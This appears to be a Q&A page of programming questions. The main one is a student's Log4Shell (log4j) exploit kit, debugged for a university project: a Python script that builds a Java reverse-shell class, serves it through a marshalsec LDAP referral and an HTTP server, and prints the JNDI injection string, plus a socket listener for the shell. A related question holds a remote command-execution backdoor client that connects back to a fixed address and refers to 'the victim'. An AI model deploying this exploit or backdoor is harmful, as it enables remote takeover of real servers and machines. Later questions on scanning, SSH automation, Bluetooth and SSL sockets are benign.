for a university project I am testing the log4j vulnerability. To do this, I use a python server that connects to the java client by creating a reverse shell.
Everything works except the output to server which is not displayed correctly. Specifically, the server shows the output of two previous inputs and I'm not understanding why.
I'm new to python and java programming so I'm a little confused.
Initial project: https://github.com/KleekEthicalHacking/log4j-exploit
I made some changes and added a python socket to handle the reverse shell.
PS: with netcat it seems to work fine but command with some space non work (ex: cd .. not work)
For run this project i use kali linux (python server) and ubuntu (java webapp). This code does not yet manage clients with windows os
poc.py + exploit class:
import sys
import argparse
from colorama import Fore, init
import subprocess
import multiprocessing
from http.server import HTTPServer, SimpleHTTPRequestHandler
init(autoreset=True)
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def payload(userip, webport, lport):
genExploit = (
"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%s;
//String cmd="/bin/sh";
String [] os_specs = GetOperatingSystem();
String os_name = os_specs[0].toString();
String cmd = os_specs[1].toString();
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
so.write(os_name.getBytes("UTF-8"));
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
public String [] GetOperatingSystem() throws Exception {
String os = System.getProperty("os.name").toLowerCase();
String [] result = new String[3];
if (os.contains("win")) {
result[0] = "Windows";
result[1] = "cmd.exe";
}
else if (os.contains("nix") || os.contains("nux") || os.contains("aix")) {
result[0] = "Linux";
result[1] = "/bin/sh";
}
return result;
}
}
""") % (userip, lport)
# writing the exploit to Exploit.java file
try:
f = open("Exploit.java", "w")
f.write(genExploit)
f.close()
print(Fore.GREEN + '[+] Exploit java class created success')
except Exception as e:
print(Fore.RED + f'[X] Something went wrong {e.toString()}')
# checkJavaAvailible()
# print(Fore.GREEN + '[+] Setting up LDAP server\n')
# openshellforinjection(lport)
checkJavaAvailible()
print(Fore.GREEN + '[+] Setting up a new shell for RCE\n')
p1 = multiprocessing.Process(target=open_shell_for_injection, args=(lport,))
p1.start()
print(Fore.GREEN + '[+] Setting up LDAP server\n')
p2 = multiprocessing.Process(target=createLdapServer, args=(userip, webport))
p2.start()
# create the LDAP server on new thread
# t1 = threading.Thread(target=createLdapServer, args=(userip, webport))
# t1.start()
# createLdapServer(userip, webport)
# start the web server
print(Fore.GREEN + f"[+] Starting the Web server on port {webport} http://0.0.0.0:{webport}\n")
httpd = HTTPServer(('0.0.0.0', int(webport)), SimpleHTTPRequestHandler)
httpd.serve_forever()
def checkJavaAvailible():
javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL,
stdout=subprocess.DEVNULL)
if javaver != 0:
print(Fore.RED + '[X] Java is not installed inside the repository ')
sys.exit()
def createLdapServer(userip, lport):
sendme = "${jndi:ldap://%s:1389/a}" % userip
print(Fore.GREEN + "[+] Send me: " + sendme + "\n")
subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])
url = "http://{}:{}/#Exploit".format(userip, lport)
subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
"target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])
def open_shell_for_injection(lport):
terminal = subprocess.call(["qterminal", "-e", "python3 -i rce.py --lport " + lport])
# terminal = subprocess.call(["qterminal", "-e", "nc -lvnp " + lport]) #netcat work
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='please enter the values ')
parser.add_argument('--userip', metavar='userip', type=str,
nargs='+', help='Enter IP for LDAPRefServer & Shell')
parser.add_argument('--webport', metavar='webport', type=str,
nargs='+', help='listener port for HTTP port')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Netcat Port')
args = parser.parse_args()
payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] user interupted the program.")
sys.exit(0)
rce.py:
import argparse
import socket
import sys
from colorama import Fore, init
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def socket_for_rce(lport):
print(Fore.GREEN + "[+] Setup Shell for RCE\n")
SERVER_HOST = "0.0.0.0"
SERVER_PORT = int(lport)
BUFFER_SIZE = 8192
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(1)
print(Fore.GREEN + f"Listening as {SERVER_HOST}:{SERVER_PORT}\n")
client_socket, client_address = s.accept()
print(
Fore.GREEN + "(" + Fore.YELLOW + "REMOTE HOST" + Fore.GREEN + ") " + f"{client_address[0]}:{client_address[1]}"
f" --> "
f"Connected! (exit = close connection)\n")
os_target = client_socket.recv(BUFFER_SIZE).decode()
print("OS TARGET: " + Fore.YELLOW + os_target + "\n")
if not os_target:
print(Fore.RED + "[X] No OS detected\n")
folderCommand = "pwd"
folderCommand += "\n"
client_socket.sendall(folderCommand.encode())
path = client_socket.recv(BUFFER_SIZE).decode()
print("path: " + path)
if not path:
print(Fore.RED + "[X] No work folder received\n")
path_text = Fore.GREEN + "(" + Fore.YELLOW + "REMOTE" + Fore.GREEN + ") " + path
while True:
command = input(f"{path_text} > ")
command += "\n"
# if not command.strip():
# continue
if command != "":
if command == "exit":
print(Fore.RED + "\n[X] Connection closed\n")
client_socket.close()
s.close()
break
else:
client_socket.sendall(command.encode())
data = client_socket.recv(BUFFER_SIZE).decode()
print(data)
else:
pass
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='Instruction for usage: ')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Rce Port')
args = parser.parse_args()
socket_for_rce(listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] User interupted the program.")
sys.exit(0)
Result:
Now works. I added time.sleep(0.2) after each sendall in rce.py
Related
I making multithreaded local ip scanner in python. I would like to add an option so that you can stop the scanner after pressing CTRL + C. I added keyboardinterrupt capture but it did not disable the script. Would someone help me write this?
My script:
def ping(ip):
if platform.system().lower() == 'windows':
param = '-n'
else:
param = '-c'
command = ['ping', param, '1', ip]
if 'destination host unreachable' in str(subprocess.Popen(command, stdout = subprocess.PIPE).stdout.read().lower()):
pass
elif 'request timed out' in str(subprocess.Popen(command, stdout = subprocess.PIPE).stdout.read().lower()):
pass
else:
with lock:
try:
host = socket.gethostbyaddr(ip)[0]
except:
host = 'No hostname'
now = datetime.now()
print(Back.LIGHTGREEN_EX + Fore.BLACK + now.strftime('[%Y-%m-%d %H:%M:%S]') + Style.RESET_ALL + Fore.LIGHTGREEN_EX + f' {host} | {ip} | Active')
def threader():
while True:
worker = q.get()
ping(worker)
q.task_done()
for x in range(60):
t = threading.Thread(target = threader)
t.daemon = True
t.start()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 53))
ip = s.getsockname()[0]
s.close()
prefix = ip.split('.')
prefix.pop()
for worker in range(256):
q.put('.'.join(prefix) + '.' + str(worker))
q.join()
print(Style.RESET_ALL, end = '')
I'm build a script with multithreading feature to access devices and execute commands. The issue here is that I'm seeing that the script connects to device twice instead of 1 time only. Added a print on each function to identify which area the loops occur.
From the output, I think the loop is on connect_now function but I'm not able to find the solution. Is there any issue on my try statement?
#!/usr/bin/env python3
# coding=utf-8
# ~~~~~~~~
# Import modules
# ~~~~~~~~
import subprocess, logging, re, getpass,time
from netmiko import ConnectHandler
from netmiko.ssh_exception import NetMikoTimeoutException, NetMikoAuthenticationException
from paramiko.ssh_exception import SSHException
import threading
from queue import Queue
##from threading import Thread
logging.basicConfig(level=logging.INFO,
format="{asctime} {levelname:<8} {message}",
style='{',
filename='%slog' % __file__[:-2],
filemode='a'
)
##logging.info("this is a message")
# ~~~~~~~~
# Define functions
# ~~~~~~~~
dev_list = []
success_dev = []
failed_dev = []
def ping_ip(ip):
global gips
rstlongstr = ''
(output,error) = subprocess.Popen((['ping', ip, '-c', '2']), stdin=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=True).communicate()
if 'bytes from' in output:
dev_list.append(ip)
logging.info(output)
## print (output)
reg_rttavg = re.findall(r'(?=rtt.*=\s[\d.]+\/([\d.]+))',output)
strpreg_rttavg = [test2.strip() for test2 in reg_rttavg]
str_rttavg = '\n'.join(strpreg_rttavg)
reg_ploss = re.findall(r'[\d%.]+(?= packet loss)',output)
strpreg_ploss = [test2.strip() for test2 in reg_ploss]
str_ploss = '\n'.join(strpreg_ploss)
#return ".....Device is Reachable - " + ip
return "[ " + ip + " ] Reachable - rtt(avg): %s ploss: %s" % (str_rttavg,str_ploss)
elif 'Host Unreachable' in output:
## print (output)
return "[ " + ip + " ] Unreachable"
else:
#return "Unreachable"
## print (output)
return "[ " + ip + " ] Unreachable"
thread_q.put
def seq_sendcmd(device_conn):
global success_dev, failed_dev,output_dict
print ("SEND COMMAND FUNCTION")
sh_commands = ['show run | i hostname', 'show clock']
for cmd in sh_commands:
print ("Sending command: ",cmd)
result_out = device_conn.send_command(cmd)
device_conn.disconnect()
print ('[ ' + ip_a + ' ] Logged out')
## success_dev.append(hostname)
def connect_now(ip_a,username,password,enable_s):
global success_dev, failed_dev
print ('[ ' + ip_a + ' ] Loging into IP')
try:
device_conn = ConnectHandler(device_type='cisco_ios_ssh', ip=ip_a,
username=username, password=password,
secret=enable_s, verbose=False)
output = seq_sendcmd(device_conn)
output_q.put(output)
except:
print ('[ ' + ip_a + ' ] Unable to access')
## failed_dev.append(ip_a)
#~~~~~~~~~~~~~~
#MAIN
#~~~~~~~~~~~~~~
##ipadd = ['192.168.2.111',"192.168.2.113", '9.9.9.222','192.168.2.112',"192.168.2.66",]
ipadd = ['192.168.2.111',"192.168.2.113"]
thread_q = Queue()
for x in ipadd:
## print ("Pinging: ",x)
m_thread = threading.Thread(target=ping_ip, args=(x,))
m_thread.start()
time.sleep(3)
m_thread.join()
print (dev_list)
Results = []
uname = "test"
pswd = "test"
ena = "test"
if uname == "" or pswd == "" or ena == "":
print('username, password or enable_secret cannot be empty. Please enter valid credentials!!!')
logging.info("username, password or enable_secret cannot be empty. Please enter valid credentials!!!")
sys.exit()
logging.info("List of reachable device: " + str(dev_list))
start = time.time()
output_q = Queue()
for ip in dev_list:
print ("Processing: ",ip)
worker = threading.Thread(target=connect_now, args=(ip,uname,pswd,ena))
worker.start()
time.sleep(3)
worker.join()
print (output_q.get)
end = time.time()
total = int(end - start)
print("\n Elapsd Time: " + str(total) + " Sec\n")
Actual output: Let track 192.168.2.111 session.
['192.168.2.111', '192.168.2.113'] <---- from dev_list
Processing: 192.168.2.111 <---- from Main/Global
[ 192.168.2.111 ] Loging into IP <---- from connect_now
SEND COMMAND FUNCTION <---- from seq_sendcmd func
Sending command: show run | i hostname
Sending command: show clock
Processing: 192.168.2.113
[ 192.168.2.113 ] Loging into IP
[ 192.168.2.111 ] Unable to access <---- from connect_now func,why script tries to connect again?
SEND COMMAND FUNCTION
Sending command: show run | i hostname
Sending command: show clock
[ 192.168.2.113 ] Unable to access
<bound method Queue.get of <queue.Queue object at 0x7faf12043eb8>>
Elapsd Time: 6 Sec
I write a socket programming code client.py and server.py and it work awesome. Now I face a little problem I want to get the name of PC and show it like this device is connected below is the code. I tried different method but all fail. Basically, I have a couple Windows computers on my network that will be running a python script. So through this method I will know all computer name
client.py
import os, socket, subprocess ,getpass
def shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '192.168.100.9'
port = 9995
s.connect((host, port))
# userName = getpass.getuser()
# s.send(str.encode(userName))
# print(userName)
while True:
try:
data = s.recv(800000)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
# print(output_str) # if you want to show the output to the victim
except:
shell()
if __name__ == "__main__":
shell()
below is server code
server.py
def list_connections():
results = ''
for i, conn in enumerate(all_connections):
try:
conn.send(str.encode(' '))
conn.recv(80000000)
except:
del all_connections[i]
del all_address[i]
continue
results = str(i) + " " + str(all_address[i][0]) + " " + str(all_address[i][1]) + "\n"
print("----Clients----" + "\n" + results)
it gave me output like this
output::
----Clients----
0 192.168.100.9 55747
I want output like this:::
output::
----Clients----
0 PC_NAME 192.168.100.9 55747
You can attempt to call socket.gethostbyaddr() on the IP address.
However, that depends on the DNS configuration of the server system - there's no real guarantee that the machines have registered their names with the local name server.
So I am relatively new to python scripting and I came across this code that is supposed to configure wifi over bluetooth between a raspberry pi and smart device. Unfortunately, I keep running into the error listed in the title. I was hoping someone can copy and run the code and enlighten me why i keep running into this error. All help is greatly appreciated!
#!/usr/bin/env python
import os
from bluetooth import *
from wifi import Cell, Scheme
import subprocess
import time
wpa_supplicant_conf = "/etc/wpa_supplicant/wpa_supplicant.conf"
sudo_mode = "sudo "
def wifi_connect(ssid, psk):
# write wifi config to file
f = open('wifi.conf', 'w')
f.write('country=GB\n')
f.write('ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev\n')
f.write('update_config=1\n')
f.write('\n')
f.write('network={\n')
f.write(' ssid="' + ssid + '"\n')
f.write(' psk="' + psk + '"\n')
f.write('}\n')
f.close()
cmd = 'mv wifi.conf ' + wpa_supplicant_conf
cmd_result = ""
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
# restart wifi adapter
cmd = sudo_mode + 'ifdown wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
time.sleep(2)
cmd = sudo_mode + 'ifup wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
time.sleep(10)
cmd = 'iwconfig wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
cmd = 'ifconfig wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
p = subprocess.Popen(['ifconfig', 'wlan0'], stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
out, err = p.communicate()
ip_address = "<Not Set>"
for l in out.split('\n'):
if l.strip().startswith("inet addr:"):
ip_address = l.strip().split(' ')[1].split(':')[1]
return ip_address
def ssid_discovered():
Cells = Cell.all('wlan0')
wifi_info = 'Found ssid : \n'
for current in range(len(Cells)):
wifi_info += Cells[current].ssid + "\n"
wifi_info+="!"
print wifi_info
return wifi_info
def handle_client(client_sock) :
# get ssid
client_sock.send(ssid_discovered())
print "Waiting for SSID..."
ssid = client_sock.recv(1024)
if ssid == '' :
return
print "ssid received"
print ssid
# get psk
client_sock.send("waiting-psk!")
print "Waiting for PSK..."
psk = client_sock.recv(1024)
if psk == '' :
return
print "psk received"
print psk
ip_address = wifi_connect(ssid, psk)
print "ip address: " + ip_address
client_sock.send("ip-addres:" + ip_address + "!")
return
try:
while True:
server_sock=BluetoothSocket( RFCOMM )
server_sock,bind(("",PORT_ANY))
server_sock.listen(1)
port = server_sock.getsockname()[1]
uuid = "815425a5-bfac-47bf-9321-c5ff980b5e11"
advertise_service( server_sock, "RaspberryPiServer",
service_id = uuid,
service_classes = [ uuid, SERIAL_PORT_CLASS ],
profiles = [ SERIAL_PORT_PROFILE ],
protocols = [ OBEX_UUID ]
)
print("Waiting for connection on RFCOMM channel %d" % port)
client_sock, client_info = server_sock.accept()
print "Accepted connection from ", client_info
handle_client(client_sock)
client_sock.close()
server_sock.close()
# finished config
print 'Finished configuration\n'
except (KeyboardInterrupt, SystemExit):
print '\nExiting\n'
This code outputs
Traceback (most recent call last): File "test.py", line 128, in <module>
server_sock=BluetoothSocket( RFCOMM )
NameError: name 'BluetoothSocket' is not defined
Can you show us your python version ?
Just type:
$ python --version
bluetooth lib seems to be present. But not BluetoothSocket: try to install bluez and python-bluez
$ sudo apt-get install bluez
$ sudo apt-get install python-bluez
I'm working on a simple server based guessing game. Part of the client side of things is that there is an ssl secured admin client that can access the server to request information. I am currently trying to add the certificates and stuff to the requests however when running the (admittedly incomplete) file I get a 'ValueError: file descriptor cannot be a negative integer (-1)' at line 65 of the following code:
import select
import socket
import ssl
import random
def CreateGame():
number = random.randrange(1,21,1)
##print(number)
return number
def Greetings():
member.send("Greetings\r\n".encode())
def Far():
member.send("Far\r\n".encode())
def Close():
member.send("Close\r\n".encode())
def Correct():
member.send("Correct\r\n".encode())
def AdminGreetings():
member.send("Admin-Greetings\r\n".encode())
def Who():
responce = ""
for connection in clientList:
if connection != member:
responce += str(clientList[connection])
member.send((str(responce)).encode())
member.close()
reader_list.remove(member)
del clientList[member]
def GameLogic(mNumber):
if("Guess: " + str(mNumber) + "\r\n" == guess):
Correct()
elif(("Guess: " + str(mNumber-3) + "\r\n" == guess) or
("Guess: " + str(mNumber-2) + "\r\n" == guess) or
("Guess: " + str(mNumber-1) + "\r\n" == guess) or
("Guess: " + str(mNumber+1) + "\r\n" == guess) or
("Guess: " + str(mNumber+2) + "\r\n" == guess) or
("Guess: " + str(mNumber+3) + "\r\n" == guess) ):
Close()
else:
Far()
#client socket
s1 = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s1.bind(('',4000))
s1.listen(5)
#admin socket
s2 = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s2.bind(('',4001))
s2.listen(5)
reader_list = [s1,s2]
clientList = {}
mNumber = CreateGame()
while True:
(read,write,error) = select.select(reader_list,[],[])
for member in read:
if member == s1:
(read,write) = s1.accept()
reader_list.append(read)
elif member == s2:
(read,write) = s2.accept()
reader_list.append(read)
sslSocket = ssl.wrap_socket(member,
keyfile="5cc515_server.key",
certfile="5cc515_server.crt",
server_side = True,
cert_reqs = ssl.CERT_REQUIRED,
ca_certs="5cc515_root_ca.crt")
else:
try:
message = member.recv(4092).decode()
sockAddr = member.getsockname()
if(message == "Hello\r\n"):
addr = str(sockAddr[0]) + " " + str(sockAddr[1]) + "\r\n"
clientList[member] = addr
if (sockAddr[1] == 4001):#is using port 4000
try:
ssl_s = ssl.wrap_socket(member,
keyfile="5cc515_server.key",
certfile="5cc515_server.crt",
server_side = True,
cert_reqs = ssl.CERT_REQUIRED,
ca_certs="5cc515_root_ca.crt")
##handshake stuff
AdminGreetings()
except:
break
else:
Greetings()
elif(message == "Who\r\n"):
##handshake stuff
Who()
else:
##print("try and assign guess")
guess = message
##print("game logic")
GameLogic(mNumber)
except:
print("recv failed")
member.close()
reader_list.remove(member)
del clientList[member]
break
I understand that without the crt and key this cant really be debugged, but since nothing is making changes to the reader_list[] i dont see why it goes from 2 to -ve...
anyway here is the other part (the admin client)
import socket
import select
import ssl
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
handshake = False
# send Hello
try:
while handshake == False:
print("create ssl socket")
sslSocket = ssl.wrap_socket(s,
keyfile="100297626.key",
certfile="100297626.crt",
server_side = False,
ca_certs="5cc515_root_ca.crt")
print("connect")
sslSocket.connect(("127.0.0.1", 4001))
print("send hello")
sslSocket.write("Hello\r\n".encode())
print("rec hello")
sslSocket.recv(80).decode()
sslSocket.send("Who\r\n".encode())
print(sslSocket.recv(4092).decode())
except:
print("Server Unavailable")
s.close()
Thanks in advance!
As line 65 is:
(read,write,error) = select.select(reader_list,[],[])
One must infer that the error comes from passing a socket with a fd of -1 to select.select in its read_list. Please run your code again but include the check that:
assert all(s.fileno() != -1 for s in reader_list)